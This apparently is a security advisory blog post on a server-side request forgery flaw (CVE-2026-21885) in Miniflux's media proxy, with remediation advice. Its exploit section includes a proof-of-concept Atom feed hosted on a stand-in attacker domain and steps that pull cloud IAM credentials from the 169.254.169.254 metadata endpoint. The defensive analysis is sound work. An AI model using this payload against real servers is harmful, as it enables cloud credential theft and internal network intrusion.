Feb 24, 2026·6 min read·4 visits
Miniflux's media proxy trusted its own cryptographic signatures but failed to validate the destination IP address. Authenticated attackers could generate valid proxy URLs for internal resources, effectively turning the RSS reader into a gateway for scanning internal networks and exfiltrating cloud credentials.
Miniflux 2, a popular self-hosted RSS reader, contains an authenticated Server-Side Request Forgery (SSRF) vulnerability within its media proxy component. By manipulating feed entries to point to internal resources, an attacker can coerce the server into fetching and displaying sensitive data from local interfaces (localhost) or cloud metadata services.
In the world of self-hosted services, Miniflux is the darling of the RSS community. It's written in Go, it's fast, and it's opinionated. One of its standout features is the Media Proxy.
Why does an RSS reader need a proxy? Two reasons: Privacy and Sanity. If you load an RSS feed from a third-party site, that feed might contain tracking pixels or images hosted on HTTP when your instance is on HTTPS (hello, Mixed Content warnings). To solve this, Miniflux acts as the middleman. It fetches the image for you, caches it, and serves it from its own domain.
It sounds like a noble feature. It protects your IP address from the original content publisher. But here's the kicker: when you give a server the ability to make HTTP requests on your behalf based on user input, you are handing it a loaded gun. If that server doesn't check where it's pointing before it pulls the trigger, you get SSRF. And in CVE-2026-21885, Miniflux wasn't checking the safety.
The vulnerability here is a classic case of misplaced trust. Miniflux implemented a security mechanism, but it was protecting the wrong thing.
When Miniflux generates a proxy URL, it looks something like this: /proxy/{encodedDigest}/{encodedURL}. The encodedDigest is an HMAC signature. This ensures that a random user on the internet can't just change the encodedURL to google.com and use your server as a free VPN. If the URL changes, the signature doesn't match, and Miniflux drops the request. Secure, right?
Wrong.
The flaw isn't in the verification of the request; it's in the generation. Miniflux trusts the content of the RSS feed. If an authenticated user (you) subscribes to a malicious feed that contains an image pointing to http://127.0.0.1:8080/admin, Miniflux dutifully calculates the HMAC signature for that internal URL.
Once the signature is generated, the system considers the URL 'safe'. The backend fetcher simply sees a validly signed request and executes it. It didn't matter that the destination was localhost or an AWS metadata endpoint; the code lacked the network-layer validation to say, 'Hey, maybe we shouldn't talk to private IP ranges.'
In Go, the standard http.Client is promiscuous. It will talk to anyone, anywhere, following redirects wherever they lead. Secure implementations of URL fetchers usually require a custom http.Transport with a DialContext hook that resolves the DNS, checks the IP, and aborts if the IP falls into RFC1918 (Private) or RFC4193 (Local) ranges.
Prior to version 2.2.16, the Miniflux proxy handler likely looked something like this (pseudocode representation of the flaw):
// The Vulnerable Logic
func (h *handler) proxy(w http.ResponseWriter, r *http.Request) {
// 1. Verify Signature (The "Security" Check)
if !validateHMAC(digest, targetURL) {
http.Error(w, "Forbidden", 403)
return
}
// 2. The Fatal Flaw: Blindly fetching the URL
resp, err := http.Get(targetURL)
if err != nil {
// ... handle error
}
// 3. Stream response back to user
io.Copy(w, resp.Body)
}The fix, introduced in 2.2.16, isn't just a regex change. It involves configuring the HTTP client to explicitly reject connections to private networks. This is often done by wrapping the dialer:
// The Fix (Conceptual)
dialer := &net.Dialer{
Control: func(network, address string, c syscall.RawConn) error {
ip := net.ParseIP(address)
if isPrivateIP(ip) {
return errors.New("access to private network denied")
}
return nil
},
}Without this lower-level network filtering, application-level checks are often bypassed by DNS rebinding or simple redirect chains.
To exploit this, we don't need to break encryption or bypass authentication (assuming we have a login). We just need to feed Miniflux something tasty. Here is how a researcher—or an attacker—would execute this:
Step 1: The Malicious Feed
Host a simple XML file on a server you control (attacker.com/pwn.xml). Inside, embed an image pointing to the target internal service.
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>SSRF Test</title>
<entry>
<title>Metadata Heist</title>
<!-- The Payload: AWS Metadata -->
<content type="html">
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" />
</content>
</entry>
</feed>Step 2: Subscription
Log into Miniflux and add http://attacker.com/pwn.xml as a new subscription. Miniflux parses the feed, sees the image, and—because it wants to be helpful—generates a proxied URL for that image.
Step 3: Trigger
Refresh the feed entries. Inspect the DOM or the network traffic. You will see an image tag generated by Miniflux:
<img src="/proxy/abc123SIGNATURE/base64encodedInternalURL" ...>
Step 4: Exfiltration
Open that /proxy/... URL in a new tab. Miniflux makes the request to 169.254.169.254, grabs the IAM credentials, and displays them right in your browser window. You have now pivoted from an RSS reader to full cloud account compromise.
While Miniflux is often self-hosted by individuals, it is frequently deployed in Docker containers or Kubernetes clusters. This environment is where the danger lies.
1. Cloud Metadata Exposure: As shown in the exploit, accessing 169.254.169.254 on AWS, GCP, or Azure can leak instance identity tokens or IAM credentials. This turns a "Medium" severity issue into a critical infrastructure breach.
2. Internal Service Recon: If Miniflux is running in a home lab or corporate intranet, an attacker can use it to port scan internal services (http://192.168.1.1:80, http://localhost:9090). They can map out your network topology without ever sending a packet from their own machine to your internal network directly.
3. Sidecar Container Access: In Kubernetes, pods often have unauthenticated metrics or admin ports listening on localhost. Miniflux can be used to hit these endpoints, potentially influencing the orchestration layer.
The remediation is straightforward: Upgrade to version 2.2.16.
The maintainers have implemented default protections that block the proxy from fetching resources from private IP ranges (RFC1918, loopback, link-local). This kills the exploit chain because even if the app signs the URL, the underlying HTTP client will refuse to dial the internal IP.
> [!NOTE] > Configurable Exceptions: If you actually need your RSS reader to proxy internal images (a rare edge case), 2.2.16 adds configuration options to whitelist specific ranges, but they are blocked by default.
If you cannot upgrade immediately, the only mitigation is network segmentation. Ensure the container or server running Miniflux has no network route to sensitive internal services or the cloud metadata service (e.g., using iptables or Network Policies to drop egress to 169.254.169.254).
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Miniflux Miniflux Project | 2.0.0 - 2.2.15 | 2.2.16 |
| Attribute | Detail |
|---|---|
| CWE | CWE-918 (SSRF) |
| CVSS Base | 6.5 (Medium) |
| Attack Vector | Network |
| Privileges Required | Low (Authenticated User) |
| Impact | High Confidentiality |
| Exploit Status | PoC Available (Theoretical) |
The application does not validate or incorrectly validates the destination IP address of a URL before fetching the content, allowing an attacker to force the server to make requests to internal resources.